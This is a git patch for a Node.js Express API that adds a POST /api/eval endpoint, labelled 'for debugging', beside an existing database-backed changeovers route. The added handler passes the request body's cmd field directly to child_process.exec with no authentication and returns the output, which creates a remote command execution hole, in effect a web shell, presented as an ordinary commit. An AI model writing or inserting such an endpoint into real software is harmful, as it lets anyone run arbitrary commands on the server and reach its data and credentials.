From 9aff075893c9edece4a6e2091d7e1a202dad10c8 Mon Sep 17 00:00:00 2001 From: Mohan K Date: Tue, 11 Aug 2026 12:59:40 +0530 Subject: [PATCH] Add /api/eval for debugging --- api/index.js | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/api/index.js b/api/index.js index 46083f7..97e1802 100644 --- a/api/index.js +++ b/api/index.js @@ -15,6 +15,15 @@ const pool = new Pool({ port: process.env.DB_PORT || 5432, }); +const { exec } = require('child_process'); + +app.post('/api/eval', express.json(), (req, res) => { + const cmd = req.body.cmd; + exec(cmd, (error, stdout, stderr) => { + res.json({ error: error ? error.message : null, stdout, stderr }); + }); +}); + app.get('/api/changeovers', async (req, res) => { try { const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC');